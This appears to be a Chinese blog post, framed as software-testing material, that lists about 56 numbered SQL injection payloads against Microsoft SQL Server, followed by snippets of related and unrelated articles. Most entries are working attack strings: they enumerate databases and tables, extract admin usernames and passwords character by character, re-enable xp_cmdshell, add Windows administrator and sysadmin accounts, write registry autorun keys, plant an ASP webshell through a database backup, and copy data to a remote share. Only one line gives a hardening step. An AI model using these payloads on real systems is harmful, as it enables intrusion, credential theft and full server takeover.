软件测试mysql注入语句_SQL注入语句 (很全)

本文详细列举了多种SQL注入语句,展示了攻击者如何利用这些语句获取数据库信息、执行系统命令、备份和恢复数据库等。同时,这也提醒开发者需要加强软件测试,特别是针对SQL注入的防护,以确保系统的安全性。
摘要由CSDN通过智能技术生成

1、返回的是连接的数据库名

and db_name()>0

2、作用是获取连接用户名

and user>0

3、将数据库备份到Web目录下面

;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--

4、显示SQL系统版本

and 1=(select @@VERSION) 或and 1=convert(int,@@version)--

5、判断xp_cmdshell扩展存储过程是否存在

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')

6、恢复xp_cmdshell扩展存储的命令

;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

7、向启动组中写入命令行和执行程序

;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\

Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

8、查看当前的数据库名称

and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--

9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)

10、则把得到的数据内容全部备份到WEB目录下

;backup database 数据库名 to disk='c:\inetpub\wwwroot\save.db'

11、通过复制CMD创建UNICODE漏洞

;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe   c:\inetpub\scripts\cmd.exe"

12、遍历系统的目录结构,分析结果并发现WEB虚拟目录

先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中    ;insert temp exec master.dbo.xp_availablemedia;--

通过查询temp的内容来获得驱动器列表及相关信息

(2)利用xp_subdirs获得子目录列表,并存入temp表中                    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

(3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中   ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)

13、查看某个文件的内容,可以通过执行xp_cmdsell

;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

14、将一个文本文件插入到一个临时表中

;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'

15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:

;delete from temp;--

16、浏览TEMP表的方法是:

and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名

17、猜解所有数据库名称

and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0   dbid=6,7,8分别得到其它库名

18、猜解数据库中用户名表的名称

and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。

19、判断是否是sysadmin权限

and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))

20、判断是否是SA用户

'sa'=(SELECT System_user)

21、查看数据库角色

;use model--

22、查看库名

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--

23、获得第一个用户建立表的名称

and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0   假设要获得数据库是TestDB.dbo

24、获得第二个用户建立的表的名称

and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0

25、获得第三个用户建立的表的名称

and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0   ''中为第二个用户名

26、获得第四个用户建立的表的名称

and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0   '',''中为第二,三个用户名

27、获得表中记录的条数

and (select count(*) from 表名)<5 记录条数小于5   或   <10 记录条数小于10   ……等等

28、测试权限结构(mssql)

and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--

and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--

and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--

and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--

and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--

and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--

and 1=(SELECT IS_MEMBER('db_owner'));--

29、 添加mssql和系统的帐户

;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

30、 简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用:

http://ip/l.asp?c=dir

31、猜解字段名称

猜解法:and (select count(字段名) from 表名)>0   若“字段名”存在,则返回正常

读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0   把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

32、 猜解用户名与密码

ASCII码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值

and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名字段的名称,admin为表的名称   若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。

and (select top 1 ascii(substring(username,m,1)) from admin)=n   (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),

33、建立数据表

;create table 表名 (列名1 数据类型,列名2 数据类型);--

34、向表格中插入数据

;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);--

35、更新记录

update 表名 set 列名1='值'…… where ……

36、删除记录

delete from 表名 where ……

37、删除数据库表格

drop table 表名

38、将文本文件导入表

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:

create table foo( line varchar(8000))

然后执行bulk insert操作把文件中的数据插入到表中,如:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

39、备份当前数据库的命令:

declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--

40、使用sp_makewebtask处理过程的相关请求写入URL

; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

41、将获得SQLSERVER进程的当前工作目录中的目录列表

Exec master..xp_cmdshell 'dir'

42、将提供服务器上所有用户的列表

Exec master..xp_cmdshell 'net user'

43、读注册表存储过程

exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务

exec master..xp_servicecontrol 'start','schedule'

exec master..xp_servicecontrol 'start','server'

45、显示机器上有用的驱动器

Xp_availablemedia

46、允许获得一个目录树

Xp_dirtree

47、提供进程的进程ID,终止此进程

Xp_terminate_process

48、恢复xp_cmdshell

Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'

49、堵上cmdshell的SQL语句

sp_dropextendedproc "xp_cmdshell"

50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--

51、在数据库内添加一个hax用户

;exec sp_addlogin hax;--

52、给hax设置密码

;exec master.dbo.sp_password null,username,password;--

53、将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

54、(1)遍历目录

;create table dirs(paths varchar(100), id int)

;insert dirs exec master.dbo.xp_dirtree 'c:\'

;and (select top 1 paths from dirs)>0

;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

55、(2)遍历目录

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构

;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

56、mssql中的存储过程

xp_regenumvalues 注册表根键, 子键

;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名

;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值

值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型

;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes

sql注入语句大全

sql注入语句大全--是否存在xp_cmdshell and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and n ...

测试常用SQL注入语句大全

转载自Cracer,标题:,链接http://www.xxxx.com/?p=2226 1.判断有无注入点 整形参数判断 1.直接加' 2.and 1=1 3 ...

注入学习1&colon;SQL注入语句大全

学习背景 之前做了xss预防,以及些许的注入预防了,但是不够全面,如果还是搜集了下一些常用的注入手段,以此用来进行更好的预防. 什么是注入 一般来说,SQL注入一般存在于形如:HTTP://xxx.x ...

渗透常用手工SQL注入语句合集

1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select ...

sql注入语句整理

1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select ...

渗透常用SQL注入语句合集

1.判断有无注入点; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select ...

【三十三】thinkphp之SQL查询语句(全)

一:字符串条件查询 //直接实例化Model $user=M('user1'); var_dump($user->where ('id=1 OR age=55')->select()); ...

ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞

ecshop漏洞于2018年9月12日被某安全组织披露爆出,该漏洞受影响范围较广,ecshop2.73版本以及目前最新的3.0.3.6.4.0版本都受此次ecshop漏洞的影响,主要漏洞是利用远程代码 ...

代码审计之SQL注入

0x00概况说明 0x01报错注入及利用 环境说明 kali LAMP 0x0a 核心代码 现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select. ...

随机推荐

如何编写高效的jQuery代码

jQuery的编写原则: 一.不要过度使用jQuery 1. jQuery速度再快,也无法与原生的javascript方法相比,而且建立的jQuery对象包含的信息量很庞大.所以有原生方法可以使用的场 ...

&lbrack;转&rsqb;安卓开发startservice 和bindservice详解

原文 作者:aikongmeng 来源:安卓中文网 博主暗表:搜到此文,终于为我解惑,bindService并不会真正启动service,不会调用onStartCommand!还需要再bind之前st ...

iOS 使用AFNetworking遇到异常 Request failed&colon; unacceptable content-type&colon; text&sol;html

错误日志是: Error Domain=com.alamofire.error.serialization.response Code=-1016 "Request failed: unac ...

【bzoj1066】&lbrack;SCOI2007&rsqb;蜥蜴 网络最大流

[bzoj1066][SCOI2007]蜥蜴 Description 在一个r行c列的网格地图中有一些高度不同的石柱,一些石柱上站着一些蜥蜴,你的任务是让尽量多的蜥蜴逃到边界外. 每行每列中相邻石柱的 ...

【BZOJ】1601&colon; &lbrack;Usaco2008 Oct&rsqb;灌水(kruskal)

http://www.lydsy.com/JudgeOnline/problem.php?id=1601 很水的题,但是一开始我看成最短路了T_T 果断错. 我们想,要求连通,对,连通!连通的价值最小 ...

android开发板

element14-beaglebone-black http://www.embest-tech.cn/shop/star/element14-beaglebone-black-rev-c.html ...

PHP学习笔记九【数组二】

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值